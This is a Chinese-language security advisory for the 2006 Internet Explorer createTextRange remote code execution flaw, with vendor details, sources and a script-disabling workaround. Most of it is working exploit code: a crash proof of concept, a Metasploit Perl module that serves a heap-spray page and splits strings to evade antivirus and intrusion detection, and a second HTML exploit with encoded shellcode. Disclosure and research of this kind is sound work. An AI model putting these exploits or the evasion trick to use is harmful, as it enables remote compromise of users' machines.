涉及程序: Microsoft Internet Explorer CreateTextRange 描述: Microsoft Internet Explorer CreateTextRange远程代码执行漏洞 详细: Microsoft Internet Explorer是微软发布的非常流行的WEB浏览器。
Internet Explorer的createTextRange()函数实现上存在漏洞,远程攻击者可能利用此漏洞在客户机器上执行任意指令。
Internet Explorer使用createTextRange()时在某些环境下可能导致无需的列表指针引用,这样在试图调用引用的32位地址时就会出现错误,如下所示:
0x7D53C15D MOV ECX, DWORD PTR DS:[EDI] .. 0x7D53C166 CALL DWORD PTR [ECX]
由于这种引用,ECX会指向很远的不存在的内存位置,导致IE崩溃,也可能执行任意指令。
<*来源:Stelian Ene (stelian.ene@gecadtech.com) Joshua Heyer Andreas Sandblad (sandblad@acc.umu.se)
链接:(http://www.sendmail.com/company/advisory/index.shtml (http://www.computerterrorism.com/research/ct22-03-2006 (http://secunia.com/advisories/18680/print/ *>
受影响系统: Microsoft Internet Explorer 6.x 攻击方法: 警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<input type="checkbox" id='c'> <script> r=document.getElementById("c"); a=r.createTextRange(); </script>
Exploit 1
## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ##
package Msf::Exploit::ie_checkbox;
use strict; use base "Msf::Exploit"; use Pex::Text; use IO::Socket::INET; use POSIX;
my $advanced = { };
my $info = { 'Name' => 'Internet Explorer checkbox', 'Version' => '$Revision: 1.0 $', 'Authors' => [ '<justfriends4n0w [at] yahoo.com>' ],
'Description' => Pex::Text::Freeform(qq{ This module exploits a vulnerability in Internet Explorer's setTextRange on a checkbox
}),
'Arch' => [ 'x86' ], 'OS' => [ 'win32', 'winxp', 'win2003' ], 'Priv' => 0,
'UserOpts' => { 'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080], 'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ], },
'Payload' => { 'Space' => 1000, 'MaxNops' => 0, 'Keys' => [ '-ws2ord', '-bind' ], # 'Keys' => [ '-ws2ord' ], },
'Refs' => [ [ 'CVE', '' ],
],
'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic - Windows 2000, Windows XP' ] ], 'Keys' => [ 'ie', 'internal' ],
'DisclosureDate' => '22 Mar 2006', };
sub new { my $class = shift; my $self;
$self = $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced, }, @_);
return $self; } sub JSUnescape #Taken from Mozilla_Compareto by Aviv Raff and H D Moore { my $self = shift; my $data = shift; my $code = ''; # Encode the shellcode via %u sequences for JS's unescape() function my $idx = 0; while ($idx < length($data) - 1) { my $c1 = ord(substr($data, $idx, 1)); my $c2 = ord(substr($data, $idx+1, 1)); $code .= sprintf('%%u%.2x%.2x', $c2, $c1); $idx += 2; } return $code; }
sub Exploit { my $self = shift; my $server = IO::Socket::INET->new( LocalHost => $self->GetVar('HTTPHOST'), LocalPort => $self->GetVar('HTTPPORT'), ReuseAddr => 1, Listen => 1, Proto => 'tcp'); my $client;
# Did the listener create fail? if (not defined($server)) { $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT')); return; }
$self->PrintLine("[*] Waiting for connections to http://" . $self->GetVar('HTTPHOST') . ":" . $self->GetVar('HTTPPORT') . " ...");
while (defined($client = $server->accept())) { $self->HandleHttpClient(fd => Msf::Socket::Tcp->new_from_socket($client)); }
return; }
sub HandleHttpClient { my $self = shift; my ($fd) = @}; #my $targetIdx = $self->GetVar('TARGET'); #my $target = $self->Targets->[$targetIdx]; #my $ret = $target->[1]; my $shellcode = $self->GetVar('EncodedPayload')->Payload; $shellcode= $self->JSUnescape($shellcode);
my $content; my $rhost; my $rport;
my $targets = { "Windows XP"=> [0 ], }; my $target; my $os;
# Read the HTTP command my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);
# Read in the HTTP headers while (my $line = $fd->RecvLine(10)) { my ($var, $val) = split /: /, $line;
# Break out if we reach the end of the headers last if (not defined($var) or not defined($val));
if ($var eq 'User-Agent') { $self->PrintLine( " *****useragent:" . $val );
$os = "Windows 2003" if (!$os and $val =~ /Windows NT 5.2/); $os = "Windows XP"if (!$os and $val =~ /Windows NT 5.1/); $os = "Windows 2000" if (!$os and $val =~ /Windows NT 5.0/); $os = "Windows NT"if (!$os and $val =~ /Windows NT/); $os = "Unknown"if (!$os); } }
# Set the remote host information ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
my $content="<input type=/"checkbox/" id=/"blah/">/n <SCRIPT language=/"javascript/">/n" . "shellcode = unescape(/"$shellcode/");/n" . "bigblock = unescape(/"%u9090%u9090/");/n" . "slackspace = 20 + shellcode.length;/n" . "while (bigblock.length < slackspace)/n" . "bigblock += bigblock;/n" . "fillblock = bigblock.substring(0, slackspace);/n" . "block = bigblock.substring(0, bigblock.length-slackspace);/n" . "while(block.length + slackspace < 0x40000) " . "block = block + block + fillblock;/n" . "memory = new Array();/n" . "for ( i = 0; i < 2020; i++ ) " . "memory[i] = block + shellcode;/n";
#Break up the string to avoid Antivirus/IDS $content=$content . " s= /"document.getEle/";/n" . "s=s + /"mentById/"; /n" . "s=s + /"(/'blah/')/"; /n " . "s=s + /".create/";/n" . "s=s + /"TextRange();/";/n" . "eval(s);/n" . "</script>";
$self->PrintLine("[*] HTTP Client connected from $rhost:$rport using $os, sending payload...");
# Transmit the HTTP response $fd->Send( "HTTP/1.1 200 OK/r/n" . "Content-Type: text/html/r/n" . "Content-Length: " . length($content) . "/r/n" . "Connection: close/r/n" . "/r/n" . "$content" );
$fd->Close(); }
1;
Exploit 2
<!-- -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ // // Internet Explorer Remote Code Execution Exploit v 0.1 // by Darkeagle of Unl0ck Research Team // // used SkyLined idea of exploitation. special tnx goes to him. //
Affected Software : Microsoft Internet Explorer 6.x, IE7 Beta 2 Severity : Critical Impact : Remote System Access Solution Status : ** UNPATCHED ** Discovered by : Computer Terrorism (UK) Advisory Date : 22nd March, 2006 Tested : WinXP SP2 RUS IE 6.0 (full patched)
Vulnerability details:
PoC from CyberTerrorists crashes IE and overwrites EIP. EIP points to unknown place. In my case it points to 0x3c0474c2. Exploit fills heap with "nops+shellcode" 'til 0x3CxxXXxx. Then IE trys to read memory @ 0x3c0474c2. At this time 0x3c0474c2 contains nops+shellcode. In the end IE executes shellcode.
Exploit needs more RAM. Tested under 192mb RAM with 800mb of maximum page cache.
Under 512mb code was executed after 1-1.5 minutes.
Successfull exploitation will execute standart windows calculator.
Greets: Unl0ck Researchers, 0x557 guys, ph4nt0m guys, sh0k, uf0, BlackSecurity guys, many otherz.
// http://unl0ck.net // // (c) 2004 - 2006 // -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ --> <pre> <input type="checkbox" id="blah"> <SCRIPT language="javascript">
shellcode = unescape( "%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF");
bigblock = unescape("%u9090%u9090"); slackspace = 20 + shellcode.length
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for ( i = 0; i < 2020; i++ ) memory[i] = block + shellcode;
var r = document.getElementById('blah').createTextRange();
</script> </pre> 解决方案: 临时解决方法:
* 禁用不可信任用户的活动脚本。
厂商补丁:
Microsoft --------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
(http://www.microsoft.com/windows/ie/default.asp
|